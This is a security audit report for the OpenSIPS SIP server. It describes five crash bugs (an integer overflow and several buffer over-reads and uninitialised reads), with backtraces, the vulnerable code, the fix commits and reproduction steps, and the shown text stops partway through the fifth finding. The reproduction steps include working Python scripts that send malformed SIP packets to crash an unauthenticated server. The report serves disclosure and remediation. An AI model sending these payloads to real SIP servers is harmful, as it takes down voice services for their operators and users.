ENABLE SECURITY | Confidential Document

OpenSIPS security audit

Technical Report (full version)

Prepared by: Sandro Gauci, Senior Consultant and Director, Enable Security GmbH

Prepared for: Bogdan-Andrei Iancu, Founder and Developer, OpenSIPS Project

Date: 30 Mar 2022

Contents

1. Changelog

- 2021-11-03: status report produced
- 2022-02-24: status report updated
  - 3 more findings
  - additional methodology + coverage
- 2022-03-30: minimized report created

2. Introduction

The Penetration Test was performed by Sandro Gauci and Alfred Farrugia of Enable Security on the OpenSIPS server. In terms of methodology, a whitebox approach was taken especially since the source code was available due to the open source nature of the project. This gave the testers the advantage of being able to analyse and instrument the code for vulnerability discovery. Additionally, as a result, the testers had further insight into the vulnerabilities that were discovered and the solutions that were consequently applied. The tests were done in lab environment on various test environments to validate the findings.

The following is a report on the findings and fixes that can be applied to limit exposure to attack.

2.1 Purpose and Limitations

The purpose of this security audit was to find security vulnerabilities within the OpenSIPS server so that they can be addressed before adversaries abuse these loopholes.

2.2 Scope

- OpenSIPS parser [1] including:
  - **parser**
  - **parser/digest**
  - **parser/contact**
  - **parser/sdp**
- OpenSIPS auth module [2]
- OpenSIPS tm module [3]
- OpenSIPS dialog module [4]
- The following modules:
  - UDP [5]
  - TCP [6]
  - TLS [7]

---

[1] https://github.com/OpenSIPS/opensips/tree/master/parser

[2] https://github.com/OpenSIPS/opensips/tree/master/modules/auth

[3] https://github.com/OpenSIPS/opensips/tree/master/modules/tm

[4] https://github.com/OpenSIPS/opensips/tree/master/modules/dialog

[5] https://opensips.org/html/docs/modules/devel/proto_udp.html

[6] https://opensips.org/html/docs/modules/devel/proto_tcp.html

[7] https://opensips.org/html/docs/modules/devel/proto_tls.html

    - WS [1]
- The OpenSIPS Management Interface
- Focus on exposed internal IDs
- Topology hiding

[1] https://opensips.org/html/docs/modules/devel/proto_ws.html

3. Findings and recommendations

The following sections list each security-relevant finding identified during the security audit.

3.1 Segmentation fault due to invalid `Content-Length` header (CVSS: 8.6)

- Affects: core
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [1]

3.1.1 Description

A malformed SIP message containing a large **`Content-Length`** value and a specially crafted Request-URI causes a segmentation fault in OpenSIPS. This issue occurs when a large amount of shared memory using the **`-m`** flag was allocated to OpenSIPS, such as 10Gb of RAM. On the tester's system this issue occurred when shared memory was set to 2362 or higher.

The following backtrace was obtained from the core dump that was generated after the crash:

```
(gdb) bt
#0  0x00005642bf7cc521 in memcpy (__len=<optimized out>, __src=<optimized out>,
    __dest=<optimized out>) at msg_translator.c:2285
#1  apply_msg_changes (max_offset=<optimized out>, sock=0xff9d2204,
    orig_offs=0x7ffc84e55950, new_offs=0x7ffc84e5594c,
    new_buf=0x7f72a50d0da0 "REGISTER sip:2.17.0.2 SIP/2.1\r\nVia: SIP/2.0/UDP
172.17.0.2:5...
    at msg_translator.c:1916
#2  apply_msg_changes (max_offset=<optimized out>, sock=0xff9d2204,
    orig_offs=0x7ffc84e55950, new_offs=0x7ffc84e5594c,
    new_buf=0x7f72a50d0da0 "REGISTER sip:2.17.0.2 SIP/2.1\r\nVia: SIP/2.0/UDP
172.17.0.2:5...
    at msg_translator.c:1902
#3  build_req_buf_from_sip_req (msg=msg@entry=0x7f7524fafd68,
```

[1] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

```
    returned_len=returned_len@entry=0x7ffc84e55a34,
    send_sock=send_sock@entry=0x7f7524d65fe0, proto=<optimized out>,
    via_params=via_params@entry=0x0, flags=flags@entry=1) at msg_translator.c:2333
#4  0x00007f72a4cea379 in print_uac_request (proto=<optimized out>,
    send_sock=0x7f7524d65fe0, len=0x7ffc84e55a34, i_req=0x7f7524fafd68) at t_fwd.c:240
#5  update_uac_dst (uac=0x7f72a50cdce0, request=0x7f7524fafd68) at t_fwd.c:337
#6  add_uac (t=t@entry=0x7f72a50cdb08, request=request@entry=0x7f7524fafd68,
    uri=uri@entry=0x7ffc84e55b30, next_hop=next_hop@entry=0x7ffc84e55b20,
    bflags=<optimized out>, path=path@entry=0x7f7524fafff0, proxy=0x7f7524fb17c8,
    proxy@entry=0x0) at t_fwd.c:456
#7  0x00007f72a4ceea5a in t_forward_nonack (t=t@entry=0x7f72a50cdb08,
    p_msg=p_msg@entry=0x7f7524fafd68, proxy=proxy@entry=0x0,
    reset_bcounter=reset_bcounter@entry=0, locked=locked@entry=0) at t_fwd.c:763
#8  0x00007f72a4ce92e9 in t_relay_to (p_msg=p_msg@entry=0x7f7524fafd68,
    proxy=proxy@entry=0x0, flags=flags@entry=0) at t_funcs.c:260
#9  0x00007f72a4d1e072 in w_t_relay (p_msg=0x7f7524fafd68, flags=0x0,
#10 0x00005642bf761561 in do_action (a=0x7f7524d72918, msg=0x7f7524fafd68) at action.c:961
...
#30 main (argc=<optimized out>, argv=<optimized out>) at main.c:916
```

OpenSIPS developers identified that the problem occurred in the following code block:

Source: **`parser/parse_content.c`**

```
243 while (p<end && *p>='0' && *p<='9') {
244     number = number*10 + (*p)-'0';
245     if (number<0) {
246         LM_ERR("number overflow at pos %d in len number [%.*s]\n",
247             (int)(p-buffer),(int)(end-buffer), buffer);
248         return 0;
249     }
250     size ++;
251     p++;
252 }
```

This code block incorrectly assumes that an integer overflow of the variable **`number`** is detected by checking if the value is less than zero. However, it was observed that this check returned **`false`** when compiled with optimizations, even though the value overflowed to a negative number.

3.1.2 Impact

This issue causes OpenSIPS to shutdown due to a segmentation fault. No authentication is required to exploit this issue.

3.1.3 How to reproduce the issue

1. Run OpenSIPS with shared memory set to 10240

```
opensips -m 10240
```

2. Run the following Python script against the server:

```
import socket

UDP_IP = "172.17.0.2"
UDP_PORT = 5060
msg = "REGISTER sip:123123123 SIP/2.0\r\n" + \
    "Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK77bb\r\n" + \
    "Max-Forwards: 69\r\n" + \
    "From: <sip:100@127.0.0.1>;tag=4k3G7IXWnzaWT4GM\r\n" + \
    "To: <sip:100@127.0.0.1>\r\n" + \
    "Call-ID: uH1La0lA\r\n" + \
    "CSeq: 7648 REGISTER\r\n" + \
    "Contact: <sip:100@172.17.0.1:54982;transport=udp>\r\n" + \
    "Content-Length: 21400000000000\r\n" + \
    "\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

3. Observe that one of the processes crashes and OpenSIPS will eventually shut down

3.1.4 Solutions and recommendations

This issue was fixed in commit 7cab422 [1] which was tested and found to address the issue. The commit messages read as follows:

> core: Fix Content-Length parsing

3.2 Crash when specially crafted REGISTER message is challenged for authentication (CVSS: 8.6)

- Affects: core
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4

[1] https://github.com/OpenSIPS/opensips/commit/7cab422e2fc648f910abba34f3f0dbb3ae171ff5

- Overall CVSS Score: 8.6
- Vector: link [1]

3.2.1 Description

A specially crafted REGISTER message with a malformed authorization header may cause a crash.

The following backtrace was observed when reproducing this issue:

```
(gdb) bt
#0  0x000055f499cea22c in memcpy (__len=<optimized out>, __src=<optimized out>,
    __dest=0x7f77c5e03a1c) at ut.h:267
#1  build_res_buf_from_sip_req (code=code@entry=400, text=text@entry=0x7ffe5c123b70,
    new_tag=new_tag@entry=0x7f75429ce110 <sl_tag>, msg=msg@entry=0x7f77c5e02478,
    returned_len=returned_len@entry=0x7ffe5c1239b8, bmark=bmark@entry=0x7ffe5c1239c0) at
    msg_translator.c:2569
#2  0x00007f75429c8ec8 in sl_send_reply_helper (msg=0x7f77c5e02478, code=400,
    text=0x7ffe5c123b70) at sl_funcs.c:173
#3  0x00007f75429caa29 in sl_send_reply (msg=<optimized out>, code=<optimized out>,
    text=<optimized out>, totag=0x0) at sl_funcs.c:216
#4  0x00007f7a42c0c921 in sig_send_reply_mod (to_tag=<optimized out>,
    reason=<optimized out>, code=<optimized out>, msg=<optimized out>) at signaling.c:201
#5  sig_send_reply_mod (msg=<optimized out>, code=<optimized out>, reason=<optimized out>,
    to_tag=<optimized out>) at signaling.c:164
#6  0x00007f75428e3c7d in send_resp (_m=_m@entry=0x7f77c5e02478, _code=_code@entry=400,
    _reason=0x7ffe5c123b70, hdrs=hdrs@entry=0x0, nhdrs=nhdrs@entry=0) at common.c:91
#7  0x00007f75428e75c6 in pre_auth (_h=<optimized out>, _hftype=<optimized out>,
    _realm=<optimized out>, _m=0x7f77c5e02478) at api.c:256
#8  pre_auth (_m=0x7f77c5e02478, _realm=<optimized out>, _hftype=<optimized out>,
    _h=<optimized out>) at api.c:152
#9  0x00007f7541a96900 in authorize (_hftype=HDR_AUTHORIZATION_T, table=0x7ffe5c123e10,
    domain=0x7ffe5c123df8, _m=0x7f77c5e02478) at authorize.c:263
#10 www_authorize (_m=0x7f77c5e02478, _realm=0x7ffe5c123df8, _table=0x7ffe5c123e10) at
    authorize.c:319
...
#28 main (argc=<optimized out>, argv=<optimized out>) at main.c:916
```

The underlying cause appears to be that certain variables were not initialized.

By looking at the frames and the values of the variables, the cause of the problem could be understood:

```
(gdb) frame 1
+frame 1
#1  build_res_buf_from_sip_req (code=code@entry=400, text=text@entry=0x7ffe5c123b70,
    new_tag=new_tag@entry=0x7f75429ce110 <sl_tag>, msg=msg@entry=0x7f77c5e02478,
    returned_len=returned_len@entry=0x7ffe5c1239b8, bmark=bmark@entry=0x7ffe5c1239c0) at
    msg_translator.c:2569
```

[1] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

```
(gdb) p text->s
+p text->s
$8 = 0x7ffe00000014 <error: Cannot access memory at address 0x7ffe00000014>
```

This shows that **`text->s`** is not correctly initialized. When looking at the other frames, it was found out that the uninitialized string is passed for the first time at frame 8 in the function **`pre_auth`** using the following code:

Source: **`modules/auth/api.c`**

```
256 if (send_resp(_m, ecode, emsg, 0, 0) == -1) {
257     LM_ERR("failed to send %d reply\n", ecode);
258 }
```

The variable **`emsg`** was not actually initialized when using the **`str_init`** function, as in the case of **`emsg = &str_init(MESSAGE_400);`**. We arrived to this conclusion by placing a breakpoint at the start of the **`pre_auth`** function and stepping through the instructions. This behaviour was only observed when OpenSIPS was compiled using the default optimization level of the compiler. When compiled without no optimization by using the **`-DCC_O0`**[1] compiler directive, the faulty behavior was not observed.

3.2.2 Impact

This vulnerability will cause OpenSIPS to crash. It affects configurations that require authentication. To reproduce this issue, the credentials do not need to be valid.

It is highly unlikely that exploitation of this issue may lead to anything other than Denial of Service.

3.2.3 How to reproduce the issue

1. Start an OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=4

socket=udp:<server-ip>:5060
```

[1] https://github.com/OpenSIPS/opensips/blob/master/Makefile.conf.template#L99

```
mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"
loadmodule "sl.so"
loadmodule "tm.so"
loadmodule "sipmsgops.so"
loadmodule "signaling.so"
loadmodule "auth.so"

loadmodule "db_mysql.so"
loadmodule "auth_db.so"
modparam("auth_db", "db_url", "mysql://root:password@db/opensips")

route {
    if (is_method("REGISTER")) {
        xlog("L_INFO",
            "REGISTER received\n");

        if (!www_authorize("<server-ip>", "subscriber")) {
            www_challenge("<server-ip>");
        } else {
            send_reply(200,"OK");
        }
    }
    exit;
}
```

2. Save the below Python script to **`malformed-authorization-crash.py`**

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060
msg = "REGISTER sip:172.27.0.3 SIP/2.0\r\n" + \
    "Via: SIP/2.0/UDP 172.27.0.1:58896;rport;branch=z9hG4bK-83ZZolAR\r\n" + \
    "Max-Forwards: 70\r\n" + \
    "From: <sip:74833649@172.27.0.3>;tag=nNkDsaHAhAybPyt8\r\n" + \
    "To: <sip:45012982@692134.27.18446744073709551615.3>\r\n" + \
    "Call-ID: 83ZZolAR\r\n" + \
    "CSeq: 8 REGISTER\r\n" + \
    "Contact: <sip:74833649@172.28.0.0:58896;transport=udp>\r\n" + \
    "Expires: 60\r\n" + \
    "Content-Length: 0\r\n" + \
    "Authorization: Digest uses: 60\r\n" + \
    "Content-Length: 0\r\n" + \
    "\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

3. Run the above script

```
python malformed-authorization-crash.py <server-ip>
```

4. Observe the server crash

3.2.4 Solutions and recommendations

This issue was fixed in commit 0fadc0a [1]. The commit message reads as follows:

> **Fix crash with REGISTER + incomplete Authorization header**
>
> Avoid re-using anonymous structures outside of the block scope they were declared in. The compiler allows such broken code, yet it is also quick to re-use/re-claim that memory quickly after exiting the block, leading to stack corruption later down the road, when the "now re-used struct" is read.

3.3 Buffer over-read in function `delete_sdp_line` leads to DoS or undefined behaviour (CVSS: 8.6)

- Affects: SIPMSGOPS module
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [2]

3.3.1 Description

OpenSIPS crashes when a malformed SDP body is received and is processed by the **`delete_sdp_line`** function in the **`sipmsgops`** module. This issue can be reproduced by calling the function with an SDP body that does not terminate by a line feed (i.e. **`\n`**).

The vulnerability was found while performing black-box fuzzing against an OpenSIPS server running a configuration that made use of the functions **`codec_delete_except_re`** and **`codec_delete_re`**. The same issue was also discovered while performing coverage guided fuzzing on the function **`codec_delete_except_re`**. The crash happens because the function **`delete_sdp_line`** expects that an SDP line is terminated by a line feed (**`\n`**):

---

[1] https://github.com/OpenSIPS/opensips/commit/0fadc0a6cb130d40fba6cf36bb1399d45d0496aa

[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

Source: **modules/sipmsgops/codecs.c**

```
353 while(*end != '\n')
354     end++;
355 end++;
356
357 /* delete the entry */
358 if( del_lump(msg, start - msg->buf, end - start,0) == NULL )
359 {
360     return -1;
361 }
```

The following was the backtrace generated by the crash:

```
(gdb) bt
#0  0x00007efcd3e68bc6 in delete_sdp_line (msg=0x7efcd60c5488,
    s=0x561efc47b699 <buf+537> "telephone-event/8000") at codecs.c:353
#1  0x00007efcd3e69150 in stream_process (msg=0x7efcd60c5488, cell=0x7efcd60c6b30, s=0x0,
    ss=0x0, re=0x7efcd5eb0b98, op=1, description=3) at codecs.c:522
#2  0x00007efcd3e68b38 in do_for_all_streams (msg=0x7efcd60c5488, str1=0x0, str2=0x0,
    re=0x7efcd5eb0b98, op=1, desc=3) at codecs.c:326
#3  0x00007efcd3e69980 in codec_delete_except_re (msg=0x7efcd60c5488, re=0x7efcd5eb0b98)
    at codecs.c:682
#4  0x0000561efc0f3a2e in do_action (a=0x7efcd5e8ca50, msg=0x7efcd60c5488) at action.c:961
...
#8  0x0000561efc16891e in receive_msg (
    buf=0x561efc47b480 <buf> "INVITE sip:79284431@172.28.0.3 SIP/2.0\r\nVia: ...
...
#14 0x0000561efc1242ab in main (argc=7, argv=0x7ffcde0148e8) at main.c:916
```

The issue could be reproduced by sending the following SIP message to OpenSIPS:

```
INVITE sip:79284431@172.28.0.3 SIP/2.0<CRLF>
Via: SIP/2.0/UDP 172.28.0.1:45926;rport;branch=z9hG4bK-pqEMfl4B<CRLF>
Max-Forwards: 70<CRLF>
From: <sip:06057808@172.28.0.3>;tag=ZQFqe2SWnEWp8XMD<CRLF>
To: <sip:79284431@172.28.0.3><CRLF>
Call-ID: pqEMfl4B<CRLF>
CSeq: 2929 INVITE<CRLF>
Contact: <sip:06057808@172.28.0.1:45926;transport=udp><CRLF>
Content-Length: 10240<CRLF>
Content-Type: application/sdp<CRLF>
<CRLF>
v=0<CRLF>
o=- 1632755580 1632755580 IN IP4 172.28.0.1<CRLF>
s=-<CRLF>
c=IN IP4 172.28.0.1<CRLF>
t=0 0<CRLF>
m=audio 9999 RTP/AVP 96 101 0 8<CRLF>
a=rtpmap:8 PCMA/8000/1<CRLF>
a=rtpmap:96 opus/48000/2<CRLF>
a=rtpmap:101 telephone-event/8000
```

This malformed message was tested against an instance of OpenSIPS and was found to crash the server. Further analysis of this issue can be found in the appendix.

3.3.2 Impact

By abusing this vulnerability, an attacker is able to crash the server. It affects configurations containing functions that rely on the affected code, such as the function **codec_delete_except_re**[1].

Due to the sanity check that is performed in the **del_lump** function, it is highly unlikely that exploitation of this issue may lead to anything other than Denial of Service.

3.3.3 How to reproduce the issue

1. Start an OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060

mpath="<path-to-modules>"

loadmodule "proto_udp.so"
loadmodule "sipmsgops.so"

route {
    codec_delete_except_re("PCMA|PCMU");
    exit;
}
```

2. Save the below Python script to **codec_delete_except_re-crash.py**:

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060
msg = "INVITE sip:79284431@172.28.0.3 SIP/2.0\r\n" + \
    "Via: SIP/2.0/UDP 172.28.0.1:45926;rport;branch=z9hG4bK-pqEMfl4B\r\n" + \
    "Max-Forwards: 70\r\n" + \
    "From: <sip:06057808@172.28.0.3>;tag=ZQFqe2SWnEWp8XMD\r\n" + \
    "To: <sip:79284431@172.28.0.3>\r\n" + \
    "Call-ID: pqEMfl4B\r\n" + \
    "CSeq: 2929 INVITE\r\n" + \
```

[1] https://opensips.org/html/docs/modules/3.2.x/sipmsgops.html#func_codec_delete_except_re

```
    "Contact: <sip:06057808@172.28.0.1:45926;transport=udp>\r\n" + \
    "Content-Length: 10240\r\n" + \
    "Content-Type: application/sdp\r\n" + \
    "\r\n" + \
    "v=0\r\n" + \
    "o=- 1632755580 1632755580 IN IP4 172.28.0.1\r\n" + \
    "s=-\r\n" + \
    "c=IN IP4 172.28.0.1\r\n" + \
    "t=0 0\r\n" + \
    "m=audio 9999 RTP/AVP 96 101 0 8\r\n" + \
    "a=rtpmap:8 PCMA/8000/1\r\n" + \
    "a=rtpmap:96 opus/48000/2\r\n" + \
    "a=rtpmap:101 telephone-event/8000"

msg = msg.encode()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg, (UDP_IP, UDP_PORT))
```

3. Run the above script

```
python codec_delete_except_re-crash.py <server-ip>
```

4. Notice that OpenSIPS crashes due to a segmentation fault

3.3.4 Solutions and recommendations

This issue was fixed in commits 8f87c7c [1] and c6ab3bb [2] which were tested and found to address the issue. The commit messages read as follows:

> [sipmsgops] fix codec_delete_XX() parsing [sipmsgops] fix codec_delete_XX() parsing (2)

3.4 Buffer over-read in the function `parse_param_name` leads to DoS or undefined behaviour (CVSS: 8.6)

- Affects: SIP digest parser
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6

[1] https://github.com/OpenSIPS/opensips/commit/8f87c7c03da55f9c79bd92e67fa2c94b2a7ce5cf

[2] https://github.com/OpenSIPS/opensips/commit/c6ab3bb406c447e30c7d33a1a8970048b4612100

- Vector: link [1]

3.4.1 Description

A specially crafted **`Authorization`** header causes OpenSIPS to crash or behave in an unexpected way due to a bug in the function **`parse_param_name`**.

This issue was discovered while performing coverage guided fuzzing of the function **`parse_msg`**. The AddressSanitizer identified that the issue occurred in the function **`q_memchr`** which is being called by the function **`parse_param_name`**. The following was the output from AddressSanitizer:

```
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 321513533
INFO: Loaded 1 modules   (51813 inline 8-bit counters): 51813 [0x11e3388, 0x11efded),
INFO: Loaded 1 PC tables (51813 PCs): 51813 [0xf976b8,0x1061d08),
./fuzzer: Running 1 inputs 1 time(s) each.
Running: /report/2021-10-05_12-22-42/crash-017f7b84e67fb293c011f1e8ceff8bd9bd94a5ff
=================================================================
==340==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000001c77540 at
    pc 0x0000006efe0f bp 0x7ffc58cccde0 sp 0x7ffc58cccdd8
READ of size 1 at 0x000001c77540 thread T0
    #0 0x6efe0e in q_memchr /opensips/parser/digest/../../ut.h:312:7
    #1 0x6ef977 in parse_param_name /opensips/parser/digest/param_parser.c:216:6
    #2 0x6ebf86 in parse_digest_param /opensips/parser/digest/digest_parser.c:157:6
    #3 0x6eaf54 in parse_digest_params /opensips/parser/digest/digest_parser.c:282:7
    #4 0x6eaa55 in parse_digest_cred /opensips/parser/digest/digest_parser.c:360:7
    #5 0x6e6a1d in parse_credentials /opensips/parser/digest/digest.c:78:8
    #6 0xdea175 in LLVMFuzzerTestOneInput /tests/parse_msg/main.c:56:11
    ...

0x000001c77540 is located 0 bytes to the right of global variable 'buf' defined in
    '/tests/parse_msg/main.c:9:13' (0x1c67540) of size 65536
SUMMARY: AddressSanitizer: global-buffer-overflow
    /opensips/parser/digest/../../ut.h:312:7 in q_memchr
Shadow bytes around the buggy address:
  0x000080386e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x000080386ea0: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9
  0x000080386eb0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ec0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ed0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ee0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x000080386ef0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
```

[1] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

```
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==340==ABORTING
```

This issue could be reproduced by sending the following SIP message to OpenSIPS:

```
REGISTER sip:172.27.0.3 SIP/2.0<CRLF>
Via: SIP/2.0/UDP 172.27.0.1:58896;rport;branch=z9hG4bK-83ZZolARa<CRLF>
Max-Forwards: 70<CRLF>
From: <sip:74833642@172.27.0.3>;tag=nNkDsaHAhAybPyt8<CRLF>
To: <sip:45012982@692134.27.18446744073709551615.3><CRLF>
Call-ID: 83ZZolAa<CRLF>
CSeq: 9 REGISTER<CRLF>
Contact: <sip:74833641@172.28.0.0:58896;transport=udp><CRLF>
Expires: 60<CRLF>
Content-Length: 0<CRLF>
Authorization: Digest a a=\"\",real<CRLF>
<CRLF>
```

This malformed message was tested against an instance of OpenSIPS and was found to crash the server. Further analysis of this issue can be found in the appendix.

3.4.2 Impact

This issue may cause erratic program behaviour or a server crash. It affects configurations containing functions that make use of the affected code, such as the function **www_authorize**[1].

[1] https://opensips.org/docs/modules/3.2.x/auth_db#func_www_authorize

3.4.3 How to reproduce the issue

1. Start an OpenSIPS server with the following configuration:

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=1

socket=udp:<server-ip>:5060
socket=tcp:<server-ip>:5060

mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"
loadmodule "proto_tcp.so"
loadmodule "sl.so"
loadmodule "tm.so"
loadmodule "sipmsgops.so"
loadmodule "signaling.so"
loadmodule "auth.so"

loadmodule "db_mysql.so"
loadmodule "auth_db.so"
modparam("auth_db", "db_url", "mysql://root:password@db/opensips")

route {
    if (is_method("REGISTER")) {
        xlog("L_INFO",
            "REGISTER received\n");

        if (!www_authorize("<server-ip>", "subscriber")) {
            www_challenge("<server-ip>");
        } else {
            send_reply(200,"OK");
        }
    }
    exit;
}
```

2. Save the below Python script to **`parse_param_name-crash.py`**:

```
import socket, sys

UDP_IP = sys.argv[1]
UDP_PORT = 5060
msg = "REGISTER sip:172.27.0.3 SIP/2.0\r\n" + \
    "Via: SIP/2.0/UDP 172.27.0.1:58896;rport;branch=z9hG4bK-83ZZolARa\r\n" + \
    "Max-Forwards: 70\r\n" + \
    "From: <sip:74833642@172.27.0.3>;tag=nNkDsaHAhAybPyt8\r\n" + \
    "To: <sip:45012982@692134.27.18446744073709551615.3>\r\n" + \
    "Call-ID: 83ZZolAa\r\n" + \
    "CSeq: 9 REGISTER\r\n" + \
```

```
    "Contact: <sip:74833641@172.28.0.0:58896;transport=udp>\r\n" + \
    "Expires: 60\r\n" + \
    "Content-Length: 0\r\n" + \
    "Authorization: Digest a a=\"\",real\r\n" + \
    "\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
```

3. Run the script against the OpenSIPS server:

```
python parse_param_name-crash.py <server-ip>
```

4. Observe that OpenSIPS crashes

3.4.4 Solutions and recommendations

This issue was fixed in commit dd9141b [1] which was tested and found to address the issue. The commit message reads as follows:

> **parse_param_name(): Improve param parsing macros**

3.5 Buffer over-read in the function `extract_field` leads to DoS or undefined behaviour (CVSS: 8.6)

- Affects: SDP parser
- CVSS v3.1
  - CVSS Base Score: 7.5
  - Impact Subscore: 3.6
  - Exploitability Subscore: 3.9
  - CVSS Temporal Score: 7.0
  - CVSS Environmental Score: 8.6
  - Modified Impact Subscore: 5.4
  - Overall CVSS Score: 8.6
  - Vector: link [2]

[1] https://github.com/OpenSIPS/opensips/commit/dd9141b6f67d7df4072f3430f628d4b73df5e102

[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C/CR:X/IR:X/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:N/MI:N/MA:H&version=3.1

3.5.1 Description

Parsing malformed SDP content using the **`parse_sdp`** function leads to a crash due to a buffer over-read bug triggered by the function **`extract_field`**.

This issue was discovered while performing coverage guided fuzzing of the function **`parse_sdp`**. The following was the AddressSanitizer report:

```
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 1436796097
INFO: Loaded 1 modules   (51805 inline 8-bit counters): 51805 [0x11e3340, 0x11efd9d),
INFO: Loaded 1 PC tables (51805 PCs): 51805 [0xf976a8,0x1061c78),
./fuzzer: Running 1 inputs 1 time(s) each.
Running: /report/2021-10-08_16-22-14/crash-0006f6551cb483aa7ffb242b2504d3e813496a1f
=================================================================
==253==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000001c77540 at
    pc 0x0000006b1eff bp 0x7ffc6eb25680 sp 0x7ffc6eb25678
READ of size 1 at 0x000001c77540 thread T0
    #0 0x6b1efe in q_memchr /opensips/parser/../ut.h:312:7
    #1 0x6b1cb9 in eat_line /opensips/parser/parser_f.c:35:13
    #2 0x6dcf04 in extract_field /opensips/parser/sdp/sdp_helpr_funcs.c:175:15
    #3 0x6dd787 in extract_ptime /opensips/parser/sdp/sdp_helpr_funcs.c:186:9
    #4 0x6b7f2f in parse_sdp_session /opensips/parser/sdp/sdp.c:569:30
    #5 0x6bdb9a in parse_sdp /opensips/parser/sdp/sdp.c:664:8
    #6 0xde9db3 in LLVMFuzzerTestOneInput /test/main.c:44:5
    ...

0x000001c77540 is located 0 bytes to the right of global variable 'buf'
    defined in '/test/main.c:8:13' (0x1c67540) of size 65536
SUMMARY: AddressSanitizer: global-buffer-overflow /opensips/parser/../ut.h:312:7
    in q_memchr
Shadow bytes around the buggy address:
  0x000080386e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x000080386e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
